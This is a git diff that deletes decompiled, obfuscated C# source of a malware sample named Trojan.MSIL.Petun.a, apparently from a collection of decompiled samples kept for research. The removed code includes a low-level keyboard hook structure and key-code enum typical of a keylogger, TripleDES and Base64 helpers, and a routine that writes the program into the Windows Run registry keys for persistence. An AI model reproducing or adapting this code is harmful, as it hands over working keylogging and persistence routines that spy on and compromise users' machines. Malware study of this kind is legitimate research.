\u0038qYhehCAd63U2Nr6GmI([In] object obj0, [In] object obj1) => ((SymmetricAlgorithm) obj0).IV = (byte[]) obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0032NiGJ8C1mRo4LEjjjFb( - [In] object obj0, - [In] object obj1, - [In] object obj2, - [In] int obj3, - [In] object obj4) - { - return (object) ((PasswordDeriveBytes) obj0).CryptDeriveKey((string) obj1, (string) obj2, obj3, (byte[]) obj4); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void h4a8CjCtiESbKjKgWPu([In] object obj0, [In] object obj1) => ((TripleDES) obj0).Key = (byte[]) obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object qClQE8CGgdMyFFpgcTK([In] object obj0) => (object) ((SymmetricAlgorithm) obj0).CreateEncryptor(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object dakJs2CiteBSOoFVTfK() => (object) Encoding.UTF8; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object YIbAm8C5A7ps1Wgl7NX([In] object obj0, [In] object obj1) => (object) ((Encoding) obj0).GetBytes((string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void jsE6NHCy02TduJVYQca([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((CryptoStream) obj0).Write((byte[]) obj1, obj2, obj3); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void PAyNnWCu9bhXJX7Ak34([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long \u00337WJhDCl7cEcGc9M6T2([In] object obj0) => ((MemoryStream) obj0).Length; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void nkm1F4CYQlH3Z0VNqgD([In] object obj0, [In] long obj1) => ((MemoryStream) obj0).Position = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int nUMylHC88L9PgS0O8F6([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((MemoryStream) obj0).Read((byte[]) obj1, obj2, obj3); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void cfVSSvC28C9fydlTD4W([In] object obj0) => ((Stream) obj0).Close(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0033EC792CDPfrWdI7tU5Z([In] object obj0) => (object) Convert.ToBase64String((byte[]) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object AG5G9mCUKWSAKVENDk7([In] object obj0) => (object) Convert.FromBase64String((string) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object oahy3PCTJEy2cEjA4VS([In] object obj0) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object TfFPvmC08XrXvhQfD5Y([In] object obj0, [In] object obj1) => (object) ((Encoding) obj0).GetString((byte[]) obj1); - - public struct soonsdW - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum KLVsZ - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - JXfgpO = 35, // 0x00000023 - jrgMII = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - NonEtv = 45, // 0x0000002D - epjClI = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - mXFHcF = 162, // 0x000000A2 - eeGObD = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.soonsdW lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyApplication.cs deleted file mode 100644 index e930748d..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyApplication.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: test1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E8116EE9-6C79-4180-A1B1-1330F6BC88B7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - [MethodImpl(MethodImplOptions.NoInlining)] - public MyApplication() => MyApplication.qQ7yhvQky2LqdC10uU((object) this); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void qQ7yhvQky2LqdC10uU([In] object obj0) => ((ApplicationBase) obj0).\u002Ector(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyComputer.cs deleted file mode 100644 index 14d5b2e6..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyComputer.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: test1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E8116EE9-6C79-4180-A1B1-1330F6BC88B7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public MyComputer() => MyComputer.\u0037IXaG1NX1njRdpTUe9((object) this); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0037IXaG1NX1njRdpTUe9([In] object obj0) => ((Computer) obj0).\u002Ector(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyProject.cs deleted file mode 100644 index 925ab99c..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/My/MyProject.cs +++ /dev/null @@ -1,189 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: test1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E8116EE9-6C79-4180-A1B1-1330F6BC88B7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider; - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider; - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider; - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider; - - [MethodImpl(MethodImplOptions.NoInlining)] - static MyProject() - { - int num = 0; - while (true) - { - switch (num) - { - case 0: - MyProject.m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - if (MyProject.TjRZpfdAELI3559wPr()) - { - num = 3; - continue; - } - if (true) - { - num = 5; - continue; - } - goto label_10; - case 1: - case 5: - MyProject.m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - goto case 2; - case 2: - case 3: - MyProject.m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - goto case 4; - case 4: - MyProject.m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - num = 6; - continue; - case 6: - goto label_6; - default: - num = 4; - continue; - } - } -label_6: - return; -label_10:; - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool K1slHkjaT2PBXHQTPH() => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool TjRZpfdAELI3559wPr() => false; - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - public override bool Equals(object o) => MyProject.MyWebServices.\u0038necT3Grs8YqrHcrfF((object) this, MyProject.MyWebServices.ELiCJmtT6397NT00Ox(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - public override int GetHashCode() => MyProject.MyWebServices.\u0035Ybj8wiXojp7C4VBpj((object) this); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - internal new Type GetType() => MyProject.MyWebServices.\u0030JVgNl5qNkMoomXJ8y(__typeref (MyProject.MyWebServices)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public override string ToString() => (string) MyProject.MyWebServices.\u0035aK6SxyKaPcKS7URK6((object) this); - - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - private static T Create__Instance__(object instance) where T : new() => (object) (T) instance == null ? new T() : (T) instance; - - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - [MethodImpl(MethodImplOptions.NoInlining)] - public MyWebServices() => MyProject.MyWebServices.QYuBlmuP5lfMSuAhw8((object) this); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object ELiCJmtT6397NT00Ox([In] object obj0) => RuntimeHelpers.GetObjectValue(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0038necT3Grs8YqrHcrfF([In] object obj0, [In] object obj1) => __nonvirtual (obj0.Equals(obj1)); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool joThNyAKIBQ0vxdPRq() => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool kbyJTH162JaGOuDPaO() => false; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0035Ybj8wiXojp7C4VBpj([In] object obj0) => __nonvirtual (obj0.GetHashCode()); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static Type \u0030JVgNl5qNkMoomXJ8y([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0035aK6SxyKaPcKS7URK6([In] object obj0) => (object) __nonvirtual (obj0.ToString()); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void QYuBlmuP5lfMSuAhw8([In] object obj0) => obj0.\u002Ector(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden, MethodImpl(MethodImplOptions.NoInlining)] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/ROS.cs deleted file mode 100644 index ba14b9e4..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/ROS.cs +++ /dev/null @@ -1,422 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: test1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E8116EE9-6C79-4180-A1B1-1330F6BC88B7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - [MethodImpl(MethodImplOptions.NoInlining)] - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - int num1 = 4; - if (!ROS.ufVR2TCoduBcO36iIVG()) - goto label_12; -label_1: - RegistryKey registryKey; - ROS.\u00312BuvcCfOlorWK3Apis((object) registryKey); - num1 = 14; -label_12: - string[] strArray; - string str1; - int index; - bool runonstartup1; - string str2; - bool runonstartup2; - while (true) - { - switch (num1) - { - case 0: -label_21: - str2 = (string) ROS.ixvN6aCxPr1ci85bSaP(ROS.qdD90eChGF7o3foqhke(ROS.\u0031OxlqCCZyQkBGRYJ412(), (object) " ", (object) CommandLine)); - ROS.\u0035hqc8pCLnSas8tbdtCg(); - if (ROS.ufVR2TCoduBcO36iIVG()) - { - if (!ROS.ufVR2TCoduBcO36iIVG()) - { - num1 = 1; - continue; - } - goto case 8; - } - else - { - if (true) - { - num1 = 10; - continue; - } - goto case 6; - } - case 1: - case 3: - strArray = (string[]) ROS.h9aPyLC7jEnDwSCGvQ8((object) registryKey); - if (!ROS.ufVR2TCoduBcO36iIVG()) - { - num1 = 17; - continue; - } - goto case 6; - case 2: - case 10: - if (Criteria == ROS.StartupCheckCriteria.NameOnly) - goto case 6; - else - goto case 1; - case 4: - registryKey = (RegistryKey) ROS.VTASPsCpEe3Gs5wqIWI((object) Registry.CurrentUser, (object) "Software\\Microsoft\\Windows\\CurrentVersion\\pfLUUTYJ", true); - if (ROS.\u0035hqc8pCLnSas8tbdtCg()) - { - num1 = 0; - continue; - } - goto case 16; - case 5: - ROS.GTu1uWCbuwhtTOft28R((object) registryKey, (object) str1); - num1 = 19; - continue; - case 6: - case 20: - if (Criteria != ROS.StartupCheckCriteria.PathOnly) - { - num1 = 8; - continue; - } - goto label_1; - case 7: - runonstartup1 = true; - goto case 6; - case 8: - if (ROS.Wes2n1C3c9kGLPL9JnV(ROS.h9aPyLC7jEnDwSCGvQ8((object) registryKey), ROS.\u0031soUc6CIKDKJpIgj9lc())) - { - num1 = 9; - continue; - } - goto label_1; - case 9: - if (ROS.KKYuq4CmNpVLwU0iJBj(ROS.wJihvVCXGhwFMpI67Mx((object) registryKey, ROS.\u0031soUc6CIKDKJpIgj9lc()), (object) str2, false)) - { - num1 = 18; - continue; - } - goto case 11; - case 11: - runonstartup2 = true; - num1 = 13; - continue; - case 12: - case 21: - if (index >= strArray.Length) - { - num1 = 20; - continue; - } - str1 = strArray[index]; - int num2 = 15; - num1 = ROS.ufVR2TCoduBcO36iIVG() ? num2 : num2; - continue; - case 13: - goto label_1; - case 14: - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - goto label_35; - case ROS.StartupCheckCriteria.PathOnly: - goto label_37; - case ROS.StartupCheckCriteria.NameOnly: - goto label_36; - case ROS.StartupCheckCriteria.Both: - goto label_34; - default: - if (true) - { - num1 = 22; - continue; - } - goto label_21; - } - case 15: - if (!ROS.WrjEXWCSgWjSvgM4LQJ(ROS.wJihvVCXGhwFMpI67Mx((object) registryKey, (object) str1), (object) str2, false)) - { - checked { ++index; } - num1 = 21; - continue; - } - num1 = 16; - continue; - case 16: - if (ROS.eT0hySCn0CFpALbWi4I((object) str1, ROS.K97uOMCMsQBUb3edmFO(ROS.MrcxU1CcW4sj7jn60tc(ROS.TSCUtBCBkWyD9mPL3IR())), false) != 0) - { - num1 = 5; - continue; - } - goto case 7; - case 17: - index = 0; - num1 = 12; - continue; - case 18: - ROS.l3X48yCkfoyLucx0lOT((object) registryKey, ROS.\u0031soUc6CIKDKJpIgj9lc(), (object) str2); - num1 = 11; - continue; - case 19: - ROS.l3X48yCkfoyLucx0lOT((object) registryKey, ROS.\u0031soUc6CIKDKJpIgj9lc(), (object) str2); - if (true) - { - num1 = 7; - continue; - } - goto case 2; - case 22: - goto label_38; - default: - if (true) - { - num1 = 6; - continue; - } - goto case 19; - } - } -label_34: - return runonstartup1 & runonstartup2; -label_35: - return runonstartup1 | runonstartup2; -label_36: - return runonstartup1; -label_37: - return runonstartup2; -label_38: - return false; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - int num = 4; - if (ROS.ufVR2TCoduBcO36iIVG()) - ; -label_8: - RegistryKey registryKey; - while (true) - { - switch (num) - { - case 0: - case 1: - registryKey = (RegistryKey) ROS.VTASPsCpEe3Gs5wqIWI((object) Registry.CurrentUser, (object) "Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (true) - { - num = 3; - continue; - } - goto case 4; - case 2: - case 5: - ROS.\u00312BuvcCfOlorWK3Apis((object) registryKey); - num = 10; - continue; - case 3: - case 9: - while (value) - { - if (true) - { - num = 8; - goto label_8; - } - } - if (!ROS.Wes2n1C3c9kGLPL9JnV(ROS.h9aPyLC7jEnDwSCGvQ8((object) registryKey), ROS.\u0031soUc6CIKDKJpIgj9lc())) - goto case 2; - else - goto case 6; - case 4: - if (ROS.eT0hySCn0CFpALbWi4I(Module1.doGVcenLG, (object) "CurrentUser", false) == 0) - { - ROS.ufVR2TCoduBcO36iIVG(); - if (ROS.\u0035hqc8pCLnSas8tbdtCg()) - { - num = 0; - continue; - } - if (true) - { - num = 7; - continue; - } - goto case 2; - } - else - { - registryKey = (RegistryKey) ROS.VTASPsCpEe3Gs5wqIWI((object) Registry.LocalMachine, (object) "Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (true) - { - num = 9; - continue; - } - goto case 2; - } - case 6: - case 7: - ROS.GTu1uWCbuwhtTOft28R((object) registryKey, ROS.\u0031soUc6CIKDKJpIgj9lc()); - num = 5; - continue; - case 8: - ROS.l3X48yCkfoyLucx0lOT((object) registryKey, ROS.K97uOMCMsQBUb3edmFO(ROS.MrcxU1CcW4sj7jn60tc(ROS.TSCUtBCBkWyD9mPL3IR())), ROS.ixvN6aCxPr1ci85bSaP(ROS.qdD90eChGF7o3foqhke(ROS.\u0031OxlqCCZyQkBGRYJ412(), (object) " ", (object) CommandLine))); - goto case 2; - case 10: - goto label_15; - default: - num = 2; - continue; - } - } -label_15:; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static bool InArray(object Arr, object Str) - { - int num1 = 1; -label_4: - bool flag; - while (true) - { - int num2; - int num3; - switch (num1) - { - case 0: - case 5: - case 6: - while (num3 <= num2) - { - if (ROS.WrjEXWCSgWjSvgM4LQJ(ROS.SkrUWgCVRJtd4h8B4JD(Arr, (object) new object[1] - { - (object) num3 - }, (object) null), Str, false)) - { - if (!ROS.ufVR2TCoduBcO36iIVG()) - { - num1 = 3; - goto label_4; - } - else - goto label_12; - } - else - checked { ++num3; } - } - num1 = 8; - continue; - case 1: - flag = false; - num1 = 7; - continue; - case 2: - case 4: - case 8: - goto label_12; - case 3: - flag = true; - break; - case 7: - num2 = ROS.pMX3rMCJZM8yM8af39D(Arr, 1); - num3 = 0; - num1 = 0; - continue; - } - ROS.ufVR2TCoduBcO36iIVG(); - num1 = !ROS.\u0035hqc8pCLnSas8tbdtCg() ? 6 : 2; - } -label_12: - return flag; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object VTASPsCpEe3Gs5wqIWI([In] object obj0, [In] object obj1, [In] bool obj2) => (object) ((RegistryKey) obj0).OpenSubKey((string) obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0031OxlqCCZyQkBGRYJ412() => (object) Application.ExecutablePath; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object qdD90eChGF7o3foqhke([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((string) obj0 + (string) obj1 + (string) obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object ixvN6aCxPr1ci85bSaP([In] object obj0) => (object) Strings.Trim((string) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object h9aPyLC7jEnDwSCGvQ8([In] object obj0) => (object) ((RegistryKey) obj0).GetValueNames(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object wJihvVCXGhwFMpI67Mx([In] object obj0, [In] object obj1) => ((RegistryKey) obj0).GetValue((string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool WrjEXWCSgWjSvgM4LQJ([In] object obj0, [In] object obj1, [In] bool obj2) => Operators.ConditionalCompareObjectEqual(obj0, obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object TSCUtBCBkWyD9mPL3IR() => (object) MyProject.Application; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object MrcxU1CcW4sj7jn60tc([In] object obj0) => (object) ((ApplicationBase) obj0).Info; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object K97uOMCMsQBUb3edmFO([In] object obj0) => (object) ((AssemblyInfo) obj0).ProductName; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int eT0hySCn0CFpALbWi4I([In] object obj0, [In] object obj1, [In] bool obj2) => Operators.CompareString((string) obj0, (string) obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void GTu1uWCbuwhtTOft28R([In] object obj0, [In] object obj1) => ((RegistryKey) obj0).DeleteValue((string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0031soUc6CIKDKJpIgj9lc() => (object) Application.ProductName; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void l3X48yCkfoyLucx0lOT([In] object obj0, [In] object obj1, [In] object obj2) => ((RegistryKey) obj0).SetValue((string) obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool Wes2n1C3c9kGLPL9JnV([In] object obj0, [In] object obj1) => ROS.InArray(obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool KKYuq4CmNpVLwU0iJBj([In] object obj0, [In] object obj1, [In] bool obj2) => Operators.ConditionalCompareObjectNotEqual(obj0, obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u00312BuvcCfOlorWK3Apis([In] object obj0) => ((RegistryKey) obj0).Close(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0035hqc8pCLnSas8tbdtCg() => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool ufVR2TCoduBcO36iIVG() => false; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int pMX3rMCJZM8yM8af39D([In] object obj0, [In] int obj1) => Information.UBound((Array) obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object SkrUWgCVRJtd4h8B4JD([In] object obj0, [In] object obj1, [In] object obj2) => NewLateBinding.LateIndexGet(obj0, (object[]) obj1, (string[]) obj2); - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index fb23372a..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ 